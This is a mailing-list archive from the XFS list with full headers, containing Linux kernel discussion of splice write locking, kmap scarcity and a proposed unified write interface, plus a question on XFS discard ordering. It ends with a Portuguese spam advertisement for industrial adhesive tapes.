qdb7IFxp9r3MVn9om31UpmPD4bHBSFwhSaMoDaM8kd8zCGiF5Cd9JT94o3GySnRAUMsv wJcw4dgza8i3RI1L3GazSMHJDjbiG07F2WbWPx63s1LUPPc76PSz+IRn0JPQJXwGglJV V2sA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=dhzZKzKI0oNo6t/X7udLba98qNmhUpW5Wp/GET9AIto=; b=Y0ebtsHMePVQZGSwfiKm78wpf+jFbCflP3OOe2btChCiFIQKzrVCIQqjca/CJw+hfT SK7m4/OOleCYPx0gN2sLYpaF+ZhcfnuPZ8C5zk6Mw9EmdW/Ln/PxCImrrgqfl1jVIw2o wGYaLeZNce6OmNDOQ2eteWaIMvThhAxCEyNbk= MIME-Version: 1.0 X-Received: by 10.221.26.10 with SMTP id rk10mr5127030vcb.0.1390075196909; Sat, 18 Jan 2014 11:59:56 -0800 (PST) Sender: linus971@gmail.com Received: by 10.221.8.73 with HTTP; Sat, 18 Jan 2014 11:59:56 -0800 (PST) In-Reply-To: <20140118074649.GF10323@ZenIV.linux.org.uk> References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> Date: Sat, 18 Jan 2014 11:59:56 -0800 X-Google-Sender-Auth: 9F3TdIjwlb-qVtuwSzRsv6bo9pc Message-ID: Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring From: Linus Torvalds X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring To: Al Viro Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f180.google.com[209.85.128.180] X-Barracuda-Start-Time: 1390075197 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144221 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Jan 17, 2014 at 11:46 PM, Al Viro wrote: > On Fri, Jan 17, 2014 at 11:22:04PM -0800, Linus Torvalds wrote: >> On Fri, Jan 17, 2014 at 10:40 PM, Al Viro wrote: >> > >> > Objections, comments? >> >> I certainly object to the "map, then unmap" approach. No VM games. > > Um... > > If we are going to copy that data (and all users of generic_file_splice_write() > do that memcpy() to page cache), we have to kmap the source ;-/ Yeah, the kmap/kunmap we have to do. But that's a no-op on 64-bit, and has to be done one page at a time (well, I guess you could do a couple). But you can't do that *around* the default_file_splice_write(), so I thought you meant some kind of "map into user space". And I absolutely *detest* that kind of approach. Linus From viro@ftp.linux.org.uk Sat Jan 18 14:10:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C4AE7F66 for ; Sat, 18 Jan 2014 14:10:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 154A6304043 for ; Sat, 18 Jan 2014 12:10:46 -0800 (PST) X-ASG-Debug-ID: 1390075843-04cb6c537be8a160001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id YzeNelvCmyFevvC6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 18 Jan 2014 12:10:44 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4cDv-0002nq-Qx; Sat, 18 Jan 2014 20:10:31 +0000 Date: Sat, 18 Jan 2014 20:10:31 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140118201031.GI10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390075844 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144221 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jan 18, 2014 at 11:59:56AM -0800, Linus Torvalds wrote: > On Fri, Jan 17, 2014 at 11:46 PM, Al Viro wrote: > > On Fri, Jan 17, 2014 at 11:22:04PM -0800, Linus Torvalds wrote: > >> On Fri, Jan 17, 2014 at 10:40 PM, Al Viro wrote: > >> > > >> > Objections, comments? > >> > >> I certainly object to the "map, then unmap" approach. No VM games. > > > > Um... > > > > If we are going to copy that data (and all users of generic_file_splice_write() > > do that memcpy() to page cache), we have to kmap the source ;-/ > > Yeah, the kmap/kunmap we have to do. But that's a no-op on 64-bit, and > has to be done one page at a time (well, I guess you could do a > couple). > > But you can't do that *around* the default_file_splice_write(), so I > thought you meant some kind of "map into user space". And I absolutely > *detest* that kind of approach. Ouch... No, I hadn't meant that kind of insanity, but I'd missed the problem with scarcity of mappings completely... From viro@ftp.linux.org.uk Sat Jan 18 14:27:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A0A567F37 for ; Sat, 18 Jan 2014 14:27:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 880E68F8066 for ; Sat, 18 Jan 2014 12:27:27 -0800 (PST) X-ASG-Debug-ID: 1390076845-04cbb04166e9e200001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id MIt5Vt6xnLpkeoRw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 18 Jan 2014 12:27:26 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4cU9-0002rH-SF; Sat, 18 Jan 2014 20:27:17 +0000 Date: Sat, 18 Jan 2014 20:27:17 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140118202717.GJ10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140118201031.GI10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390076846 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144221 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jan 18, 2014 at 08:10:31PM +0000, Al Viro wrote: > On Sat, Jan 18, 2014 at 11:59:56AM -0800, Linus Torvalds wrote: > > On Fri, Jan 17, 2014 at 11:46 PM, Al Viro wrote: > > > On Fri, Jan 17, 2014 at 11:22:04PM -0800, Linus Torvalds wrote: > > >> On Fri, Jan 17, 2014 at 10:40 PM, Al Viro wrote: > > >> > > > >> > Objections, comments? > > >> > > >> I certainly object to the "map, then unmap" approach. No VM games. > > > > > > Um... > > > > > > If we are going to copy that data (and all users of generic_file_splice_write() > > > do that memcpy() to page cache), we have to kmap the source ;-/ > > > > Yeah, the kmap/kunmap we have to do. But that's a no-op on 64-bit, and > > has to be done one page at a time (well, I guess you could do a > > couple). > > > > But you can't do that *around* the default_file_splice_write(), so I > > thought you meant some kind of "map into user space". And I absolutely > > *detest* that kind of approach. > > Ouch... No, I hadn't meant that kind of insanity, but I'd missed the > problem with scarcity of mappings completely... Ouch^2: default_file_write_splice_write() keeps calling write_pipe_buf(), which does this: data = buf->ops->map(pipe, buf, 0); ret = __kernel_write(sd->u.file, data + buf->offset, sd->len, &tmp); buf->ops->unmap(pipe, buf, data); IOW, ->write() (with whatever locks there might be) wrapped into kmap_atomic()/kunmap_atomic(). And anybody can do that - just a splice to file on procfs will hit that codepath... Or on 9p, for that matter, or fat, or afs, or cifs, etc. From viro@ftp.linux.org.uk Sat Jan 18 14:30:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7B0B27F37 for ; Sat, 18 Jan 2014 14:30:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D343AC002 for ; Sat, 18 Jan 2014 12:30:42 -0800 (PST) X-ASG-Debug-ID: 1390077041-04bdf00fe27a7250001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id 7Wl34zVEoJSmZsv7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 18 Jan 2014 12:30:42 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4cXK-0002sU-33; Sat, 18 Jan 2014 20:30:34 +0000 Date: Sat, 18 Jan 2014 20:30:34 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140118203034.GK10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140118202717.GJ10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140118202717.GJ10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390077041 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144221 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jan 18, 2014 at 08:27:17PM +0000, Al Viro wrote: > Ouch^2: default_file_write_splice_write() keeps calling write_pipe_buf(), > which does this: > data = buf->ops->map(pipe, buf, 0); > ret = __kernel_write(sd->u.file, data + buf->offset, sd->len, &tmp); > buf->ops->unmap(pipe, buf, data); > IOW, ->write() (with whatever locks there might be) wrapped into > kmap_atomic()/kunmap_atomic(). And anybody can do that - just a splice to > file on procfs will hit that codepath... Or on 9p, for that matter, or > fat, or afs, or cifs, etc. s/kmap_atomic/kmap/, so it's not that disastrously bad (kmap_atomic might lose the mapping as soon as we block), but scarcity problem remains... From viro@ftp.linux.org.uk Sat Jan 18 23:13:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ECB507F69 for ; Sat, 18 Jan 2014 23:13:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D44AA8F8059 for ; Sat, 18 Jan 2014 21:13:46 -0800 (PST) X-ASG-Debug-ID: 1390108424-04cb6c5b31e49e0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id yaCMJd6ratyxkTNJ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 18 Jan 2014 21:13:45 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4khT-0003l8-B7; Sun, 19 Jan 2014 05:13:35 +0000 Date: Sun, 19 Jan 2014 05:13:35 +0000 From: Al Viro To: Linus Torvalds Cc: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French Subject: [RFC] unifying write variants for filesystems Message-ID: <20140119051335.GN10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: [RFC] unifying write variants for filesystems References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140118201031.GI10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390108425 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144233 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jan 18, 2014 at 08:10:31PM +0000, Al Viro wrote: > Ouch... No, I hadn't meant that kind of insanity, but I'd missed the > problem with scarcity of mappings completely... OK, that pretty much kills this approach. Pity... Folks, what do you think about the following: * a new data structure: struct io_source { enum {IO_IOVEC, IO_PVEC} type; union { struct iovec *iov; struct pvec { struct page *page; unsigned offset; unsigned size; } *pvec; }; } * a new method that would look like aio_write, but take struct io_source instead of iovec. * store the type in iov_iter (normally - IO_UIOVEC) and teach the code dealing with it to do the right thing depending on type. I.e. instead of __copy_from_user_inatomic() do kmap_atomic()/memcpy()/kunmap_atomic() if it's a IO_PAGEVEC. * generic_file_aio_write() analog for new method, converging with generic_file_aio_write() almost immediately (basically, as soon as iov_iter has been initialized). * new_aio_write() consisting of { struct io_source source = {.type = IO_UIOVEC, .user = iov}; return file->f_op->(iocb, &source, nr_segs, pos); } * new_sync_write(), doing what do_sync_write() does for files that have new_aio_write() as ->aio_write(). * new_splice_write() usable for files that provide that method - it would collect pipe_buffers, put together struct pvec array and pass it to that method. All mapping the pages would happen one-by-one and only around actual copying the data. And, of course, the locking would be identical to what we do for write()/writev()/aio write Then filesystems can switch to that new method, turning their flipping their aio_write() instances to new type and replacing ->aio_write with default_aio_write, ->write with new_write and ->splice_write with new_splice_write. Actually, there's a possibility that it would be possible to use it for *all* instances of ->splice_write() - we'd need to store something a pointer to "call this to try and steal this page" function in pvec and allow the method do actual stealing. Note that pipe_buffer ->steal() only uses the page argument - they all ignore which pipe it's in (and there's nothing they could usefully do if they knew which pipe had it been in the first place). This is very preliminary, of course, and I might easily miss something - the previous idea was unworkable, after all. Comments would be very welcome... From alex@zadarastorage.com Sun Jan 19 03:38:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C68BC7F51 for ; Sun, 19 Jan 2014 03:38:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7D668304043 for ; Sun, 19 Jan 2014 01:38:28 -0800 (PST) X-ASG-Debug-ID: 1390124302-04bdf00fdf7c7870001-NocioJ Received: from mail-we0-f175.google.com (mail-we0-f175.google.com [74.125.82.175]) by cuda.sgi.com with ESMTP id SGI7fFxEFX3DkQeN (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 19 Jan 2014 01:38:23 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 74.125.82.175 Received: by mail-we0-f175.google.com with SMTP id p61so6050926wes.34 for ; Sun, 19 Jan 2014 01:38:22 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=E9Um5cS8mVG+fU0di9K+8oPFXl0/09wXau+lCvG0OUA=; b=cYRsawnxi19/+d7+Z2Ee+Hm/IBVdeAGk3sun48lWSz0eB56PK+kZYwnloLJAILcZQk 5LZp8uNI3kdB+sZknWRIk02Us0RY5yFJcMqjJhzAlYj8jOkpIrjPbKAEKw8PHB9Jd9Np qzTTwueAUTnhfzNsW3/PSsrLAEAaV1FYq4Mm/qGr4b+U5CWOdg4GeOKlNLJUPkgQ81rO kfYqs0J/cb8mXgH9N7m72mJdw7LNdqYtM0PjjBbOOATZ+2X0hIIbsds0jg32if1dA62p vY3m2LD1v0qXO6MK3hj25gRDL2MVm606H6RFvrg0rxgPIKik69+c5b2UeIUvTgqF3tUJ 9raA== X-Gm-Message-State: ALoCoQkbtpcOHVCZb2MUZF2oN/x1C9mnOdgVJizf0tTiAWiHA0I+lWYpM5m8MVmJi2C011+LgD+8 MIME-Version: 1.0 X-Received: by 10.180.38.11 with SMTP id c11mr5397495wik.60.1390124302134; Sun, 19 Jan 2014 01:38:22 -0800 (PST) Received: by 10.194.169.132 with HTTP; Sun, 19 Jan 2014 01:38:22 -0800 (PST) In-Reply-To: <20140115014503.GQ3469@dastard> References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> <20140113030230.GF3469@dastard> <20140113204314.GJ3469@dastard> <20140115014503.GQ3469@dastard> Date: Sun, 19 Jan 2014 11:38:22 +0200 Message-ID: Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) From: Alex Lyakas X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-we0-f175.google.com[74.125.82.175] X-Barracuda-Start-Time: 1390124303 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144239 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, I believe I understand your intent of having the discard tree almost fully disconnected from the busy extents tree. I planned to use the the same pagb_lock for the discard tree as well, which solves the atomicity and ordering issues you have described. If we use a different lock (mutex), then some additional care is needed. One thing I like less about such approach, is that we need to be careful of not growing the discard tree too large. If, for some reason, the worker thread is not able to keep up discarding extents while they are queued for discard, we may end up with too many discard ranges in the tree. Also at the same time user can trigger an offline discard, which will add more discard ranges to the tree. While the online discard that you have, kind of throttles itself. So if the underlying block device is slow on discarding, the whole system will be slowed down accordingly. [snip] I have one additional question regarding your comment on metadata >> Q1: why it is ok to do so? why it is ok for "metadata" to reuse part >> (or all) of the busy extent before its extent-free-intent is >> committed? > > The metadata changes are logged, and crash recovery allows correct > ordering of the free, realloc and modify process for metadata. Hence > it doesn't matter that we overwrite the contents of the block before > the free transaction is on disk - the correct contents will always > be present after recovery. > > We can't do that for user data because we don't log user data. > Therefore if we allow user data to overwrite the block whil eit is > still busy, crash recovery may not result in the block having the > correct contents (i.e. the transaction that freed the block never > reaches the journal) and we hence expose some other user's data or > metadata in the file. If that is the case, why cannot we just issue an async discard before the busy extent is committed? I understand that if we crashed, we might have knocked off some of the user data (or changed it to some new data). But can XFS get corrupted (unmountable) this way? You said earlier that it can, but now you are saying that reusing a metadata block, before its busy extent commits, is fine. Thanks, Alex. From tech@repremais.com.br Sun Jan 19 06:47:13 2014 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9A4D47F4E for ; Sun, 19 Jan 2014 06:47:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6CD44AC004 for ; Sun, 19 Jan 2014 04:47:08 -0800 (PST) X-ASG-Debug-ID: 1390135623-04cbb04166ec6980001-NocioJ Received: from hm1315-177-6.email.locaweb.com.br (hm1315-177-6.email.locaweb.com.br [177.153.9.6]) by cuda.sgi.com with ESMTP id Dd1Gq6RYNgKPg0MF for ; Sun, 19 Jan 2014 04:47:03 -0800 (PST) X-Barracuda-Envelope-From: tech@repremais.com.br X-Barracuda-Apparent-Source-IP: 177.153.9.6 Received: from mcbain0002.correio.pw (189.126.112.13) by hm1315-177-2.email.locaweb.com.br (PowerMTA(TM) v3.5r15) id hrf4kg0nvfoq for ; Sun, 19 Jan 2014 10:47:02 -0200 (envelope-from ) Received: from moe0170.email.locaweb.com.br (moe0170.email.locaweb.com.br [10.30.172.154]) by mcbain0002.correio.pw (Postfix) with ESMTP id 127AC80A057; Sun, 19 Jan 2014 10:47:02 -0200 (BRST) Received: from webmail.repremais.com.br (localhost [127.0.0.1]) by moe0170.email.locaweb.com.br (Postfix) with ESMTP id 1561D5B45BD; Sun, 19 Jan 2014 10:47:01 -0200 (BRST) Received: from b3d290db.virtua.com.br ([179.210.144.219]) via bart0102.correio.biz ([10.30.172.35]) by webmail.repremais.com.br with HTTP (HTTP/1.1 POST); Sun, 19 Jan 2014 10:47:01 -0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_2f792208450730cc232fcad167e78c30" Date: Sun, 19 Jan 2014 10:47:01 -0200 From: tech@repremais.com.br To: Renato Maisonnette Subject: Fwd: Adelbras Tech Message-ID: <858ce4984c1785c9149de9c10042da00@repremais.com.br> X-ASG-Orig-Subj: Fwd: Adelbras Tech X-Sender: tech@repremais.com.br User-Agent: Webmail Locaweb x-locaweb-id: eVUYiliyy0ZZTrnAfTc88zbHDQ1x-tkqlIst96cEPpfS7ngM6YOHHdcdXBp_YXaCLKZgyZZh6yKLjPXibAbBwvV_1trfvugPwj4qKu9lqlf4XMgpEFHjXAB2VWA5KrjANdyr4_ZOFUcyAXHZIu5enyXHWo_QbSgbD12xpNHroLJr1rV5UIqx6HA6qm32B4OY x-locaweb-id2: NzQ2NTYzNjg0MDcyNjU3MDcyNjU2ZDYxNjk3MzJlNjM2ZjZkMmU2Mjcy X-CMAE-Verdict: spam X-CMAE-Score: 100 X-CMAE-Analysis: v=2.1 cv=QuTQ3DCd c=0 sm=1 tr=0 p=h5IeepOZ2SMWHn50:18 a=fnRqeg0O93rdlGqZeXvALg==:117 a=VM7MXBOAAAAA:8 a=e8Y9lM5i6fIA:10 a=OdqyRnUuAAAA:8 a=KBtZPygZAAAA:8 a=d1P6KyE2AAAA:8 a=iZAxGnDopfUA:10 a=3w9A6ZXEg7dOiEaEWw0A:9 a=QEXdDO2ut3YA:10 a=K18ToWRLQaWtCWh7fjQA:9 a=DQ8M91Qt-NGFglOv:21 a=_W_S_7VecoQA:10 a=9fC-UHIjqzHMmImuPDMA:9 X-Barracuda-Connect: hm1315-177-6.email.locaweb.com.br[177.153.9.6] X-Barracuda-Start-Time: 1390135623 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 --=_2f792208450730cc232fcad167e78c30 Content-Type: multipart/alternative; boundary="=_3a92aaddb69d7a07e935e5611e87ee7f" --=_3a92aaddb69d7a07e935e5611e87ee7f Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 Prezados, Meu nome é Renato . Sou diretor comercial da REPREMAIS. Sou o representante comercial dos produtos da AdelbrasTech, divisão de fitas adesivas técnicas e industriais Adelbras, que possui um completo portfólio de produtos e soluções para o segmento industrial. Há fitas adesivas para uso industrial - poliéster, fibra de vidro, crepe de alta temperatura, entre outras especialidades. Dispomos de logística para entregar em todo Brasil. 